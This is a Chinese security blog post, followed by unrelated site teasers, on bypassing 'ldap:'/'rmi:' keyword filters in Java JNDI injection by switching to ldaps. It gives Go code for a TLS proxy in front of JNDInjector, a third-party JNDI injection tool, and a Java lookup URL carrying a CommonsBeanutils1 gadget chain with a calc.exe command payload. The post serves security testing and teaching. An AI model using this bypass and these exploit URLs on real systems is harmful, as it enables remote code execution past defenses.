如何巧妙构建“LDAPS”服务器利用JNDI注入
创始人
2024-09-25 21:48:29
0

前段时间看到群友问了这样一个问题:

dfb8f8446d5e30220dd890325a6685f2.png

ldap:rmi:关键字被拦截了,是否还可以进行JNDI注入。方法很简单,就是使用ldaps,但后来发现很多人并不知道怎么搭建LDAPS服务器,正好CoNote里有这个功能,写篇简单的文章讲讲。

0x01 LDAPs是什么

在Java JNDI注入的过程中,用户传入一个URL,Java会根据URL的scheme来判断具体使用哪个包来处理,这些包的位置在com.sun.jndi.url.*中:

2ddeb28e68bdacfef50065ce5e03edb5.png

可见,这里除了我们常见的rmi、ldap等,还有一个ldaps,我们看下com.sun.jndi.url.ldaps.ldapsURLContextFactory的代码:

package com.sun.jndi.url.ldaps;  import com.sun.jndi.url.ldap.*;  /**  * An LDAP URL context factory that creates secure LDAP contexts (using SSL).  *  * @author Vincent Ryan  */  final public class ldapsURLContextFactory extends ldapURLContextFactory { }

代码比我的钱包还干净,可见ldap和ldaps实际都由com.sun.jndi.url.ldap.ldapURLContextFactory来处理。

这时就不得不说到rfc4510(其中包含rfc4511到rfc4519等多个RFC)了,这一系列RFC中对于LDAP定义了两种安全传输的方式:

  • Opportunistic TLS

  • LDAPS (LDAP over SSL/TLS)

Opportunistic TLS,中文描述为“机会性TLS加密”,意思就是在普通明文通信过程中找“机会”通过某种方式将连接升级成TLS通信。这个概念不止在LDAP中存在,在很多其他协议里也能看到它的身影,最常见的就是SMTP中的STARTTLS命令。

SMTP通信时,客户端与服务端在标准端口(默认为25)上建立 TCP 连接,并且客户端会发送STARTTLS命令告诉服务端开始TLS握手,然后就是常规的TLS握手过程,握手完成后,二者就开始加密通信。

LDAP协议也支持Opportunistic TLS,客户端在原始的通信中也可以通过“StartTLS”开启TLS握手过程。

相比于Opportunistic TLS,LDAPS (LDAP over SSL/TLS)的通信过程就简单很多,LDAPS实际上就是将普通的LDAP协议通信过程包裹一层TLS,客户端在第一次连接服务端口时就需要开始TLS握手。

LDAP和LDAPS的关系可以类比为HTTP和HTTPS,在Java的JNDI中,ldaps通信过程就是使用“LDAPS (LDAP over SSL/TLS)”来实现的。

0x02 CoNote中使用ldaps探测JNDI注入漏洞

CoNote作为一个多功能信息安全测试套件,用于让我们在安全测试、代码审计、Bug Bounty的过程中更方便地确认漏洞的存在,并快速构建复现漏洞的POC。

CoNote中就包含ldap日志的功能,除了支持普通的ldap协议外,也同时支持ldaps。

简单演示一下在CoNote中,如何使用ldaps来探测目标是否存在JNDI注入漏洞。首先,我们在Dashboard中生成或绑定自定义域名,然后在LDAP日志页面,就可以看到探测漏洞所使用的ldaps URL:

f49233b5f159d0e9cf325230d6fa38d0.png

复制任意一个URL,填入下面这个简单的Java类中跑一下即可成功收到LDAP日志:

import javax.naming.Context; import javax.naming.InitialContext;  public class Sample {     public static void main(String[] args) throws Exception {         Context ctx = new InitialContext();         ctx.lookup("ldaps://[domain]:636/[domain]/ldaps");     } }

这个小demo对于Java的版本是没有限制的。我昨天也在『代码审计』星球里说过了这个问题:

说到RMI日志和LDAP日志,当时做这两个功能的时候有CoNote的用户就问我,高版本Java是不是用不上了?

但实际上检测漏洞是不受Java版本影响的(至少到Java 17是这样的),如果CoNote能接收到RMI请求或者LDAP请求,说明存在JNDI注入的问题。至于后续是否可以执行命令,是否需要找利用链,这个就取决于Java版本了。

探测JNDI注入对Java版本没有要求,对于CoNote来说,只是探测漏洞是否存在,做到这一步也就够了。

0x03 “编写”LDAPs服务器

那么对于redteam来说,只检测JNDI注入存在当然是不够的,如何才能建立一个恶意ldaps服务器并利用漏洞呢?很多师傅也提出过这个问题:

b84e943ea17fa3d7011a3b1a71f19f4d.png

其实部分人就钻牛角尖了,我们完全不需要自己编写ldaps服务端,网上有很多现成的JNDI注入利用工具,比如我很喜欢@rebeyond 的JNDInjector,选择好利用链与Payload,就可以生成一个ldap协议的恶意URL:

d992f41a5732aa72c40fe4e259134176.png

当然,这个工具并不支持ldaps,但我们完全可以编写一个TLS反向代理作为中间件,将ldaps请求代理转发给JNDInjector来实现我们的需求。

我曾经在《用原生socket发送HTTP数据包》这篇文章里介绍了如何使用Python发送原生socket数据包,文中提到了HTTPS,其发送原生HTTPS数据包的方法就是使用TLS将普通TCP包裹一层。

对于LDAPS场景来说完全一样,首先使用tls.LoadX509KeyPair加载TLS使用的证书和私钥,并使用tls.Listen创建一个TCP over TLS服务器:

cert, err := tls.LoadX509KeyPair(certPath, keyPath) if err != nil {     log.Fatalf(err.Error()) } config := &tls.Config{Certificates: []tls.Certificate{cert}}  listener, err := tls.Listen("tcp", localAddr, config) if err != nil {     log.Fatalf(err.Error()) } defer listener.Close()

然后使用一个for循环接收请求,每当有新的连接到来时,调用handleConnection()处理:

for {     conn, err := listener.Accept()     if err != nil {         log.Printf(err.Error())         continue     }      log.Println("new connection from", conn.RemoteAddr())     go handleConnection(conn, remoteAddr) }

handleConnection中的内容就是将原始的输入流,使用io.Copy转发给上游TCP服务;将上游TCP返回流,转发给原始的连接:

func handleConnection(src net.Conn, remoteAddr string) {  defer src.Close()   dest, err := net.Dial("tcp", remoteAddr)  if err != nil {   log.Printf(err.Error())   return  }  defer dest.Close()   go io.Copy(dest, src)  io.Copy(src, dest) }

这就实现了一个简单的TLS端口转发的过程,我将这段代码开源在Github上:https://github.com/phith0n/tls_proxy。

0x04 使用tls_proxy+JNDInjector利用漏洞

最后,看看整个漏洞的利用过程是怎样的。

首先,在JNDInjector中选择一个利用链和要执行的命令并启动服务,我这里选择CommonsBeanutils1。如果你的Java版本在8u191以下,也可以不使用任何反序列化利用链。

我将JNDInjector启动的ldap服务监听在1389端口上,然后使用tls_proxy代理转发:

./tproxy -l 127.0.0.1:1636 -r 127.0.0.1:1389 -c cert.pem -k key.pem

注意,这里的cert.pem和key.pem需要是一个合法的TLS证书,我们直接使用certbot或者ssl for free这种在线服务上申请即可。

tls代理启动后,其监听在1636端口,然后我们改下上面那个Java demo(需要安装下CommonsBeanutils依赖),指向1636端口:

import javax.naming.Context; import javax.naming.InitialContext;  public class Sample {     public static void main(String[] args) throws Exception {         Context ctx = new InitialContext();         ctx.lookup("ldaps://[domain]:1636/EpvahjVjjH/CommonsBeanutils1/Exec/eyJjbWQiOiJjYWxjLmV4ZSJ9");     } }

执行成功弹出计算器:

ad10882dc3e67f44f6330f65ee3ca2a8.png

在JNDInjector中,也收到了漏洞利用成功的日志:

5472cf723751bb8d1ad0e801f09fc02b.png

c4ce120784febec622e8a705285bfc08.gif

喜欢这篇文章,点个在看再走吧~

加入「代码审计」,学习更多安全知识。一次付费,终身学习免续费。

9800ad8ff1ba3e9de2916fdfd80a9716.jpeg

相关内容

热门资讯

安卓系统app更新软件,And... 亲爱的手机控们,你们有没有发现,最近你的手机里那些熟悉的APP们,好像都悄悄地换上了新装呢?没错,安...
手机怎么安双卡安卓系统,轻松实... 你有没有想过,拥有一部可以同时使用两张SIM卡的手机是多么的方便呢?想象一张卡用来工作,另一张卡用来...
安卓系统卸载软件api,功能与... 手机里的软件越来越多,是不是感觉内存都要不够用了?别急,今天就来给你揭秘安卓系统卸载软件的神秘面纱,...
miui操作系统和安卓系统,深... 亲爱的手机控们,今天咱们来聊聊一个让无数米粉心动的系统——MIUI操作系统,还有那个它背后的老大哥—...
原生安卓系统使用教学,原生安卓... 哇,你手里拿的那部手机,是不是也觉得它有点儿特别呢?它可能没有那些花里胡哨的界面,但它却有着自己独特...
安卓系统玩咸鱼之王,三国名将助... 你有没有发现,最近安卓系统上的游戏圈里,有一款叫做《咸鱼之王》的游戏火得一塌糊涂?没错,就是那个让你...
鸿蒙1.0系统是安卓系统吗,揭... 你有没有听说最近华为的鸿蒙1.0系统?是不是有点好奇,这鸿蒙1.0系统是不是安卓系统的“亲戚”呢?别...
优盘安卓系统用桃,U盘安装An... 你有没有想过,你的电脑也能变身成安卓手机?没错,就是那种可以安装各种APP、玩游戏的安卓手机!这可不...
怎样使用安卓8系统,安卓8系统... 你有没有想过,你的安卓手机其实是个小智能助手,只要你会使用,它能帮你做很多事情呢!今天,就让我来带你...
鼎威安卓系统版本,性能升级与用... 你有没有发现,现在车机系统越来越智能了?这不,鼎威的安卓系统版本就让我眼前一亮。想象坐在车里,手指轻...
安卓系统安装抢红包,轻松成为抢... 亲爱的手机控们,是不是每次微信群里抢红包都感觉手慢无?别急,今天我要给你揭秘如何在安卓系统上轻松安装...
写ios系统和安卓系统的人,揭... 你有没有想过,那些默默无闻的程序员们,他们是如何创造出我们每天离不开的iOS系统和安卓系统呢?想象他...
安卓系统设计尺寸规范,适配与优... 亲爱的设计师们,你是否在为安卓系统的设计尺寸规范而头疼?别担心,今天我要带你一起探索这个神秘的领域,...
旧主机改安卓系统,安卓系统改造... 亲爱的读者们,你是否有过这样的经历:家里的旧主机闲置在角落,看着它那略显过时的外观,心里不禁感叹:“...
安卓系统里有趣的,尽在掌握 探索安卓乐园:那些让你笑出声的趣味游戏 开篇:手机里的欢乐小天地想象你手握一部安卓手机,屏幕上跳动...
法兰规格查询系统安卓,安卓版功... 你有没有想过,在繁忙的工程现场,如何快速找到合适的法兰规格呢?别急,今天就来给你揭秘一个神器——法兰...
目前安卓系统最高配置,极致性能... 你有没有发现,现在的手机越来越厉害了,就像是科幻电影里的高科技产品一样。今天,咱们就来聊聊这个话题:...
安卓修改系统返回键,个性化设置... 你有没有发现,手机里的那个小小的返回键,有时候就像是个顽皮的小家伙,让你摸不着头脑?别急,今天就来教...
安卓订餐系统教程视频,从设计到... 你是不是也和我一样,每天忙碌的生活中,最期待的就是那一顿美味的午餐或晚餐呢?现在,有了安卓订餐系统,...
安卓系统限制外部软件,探索外部... 亲爱的手机控们,你是否曾遇到过这样的烦恼:明明打开了“未知来源”,却还是无法安装那些心仪的外部软件?...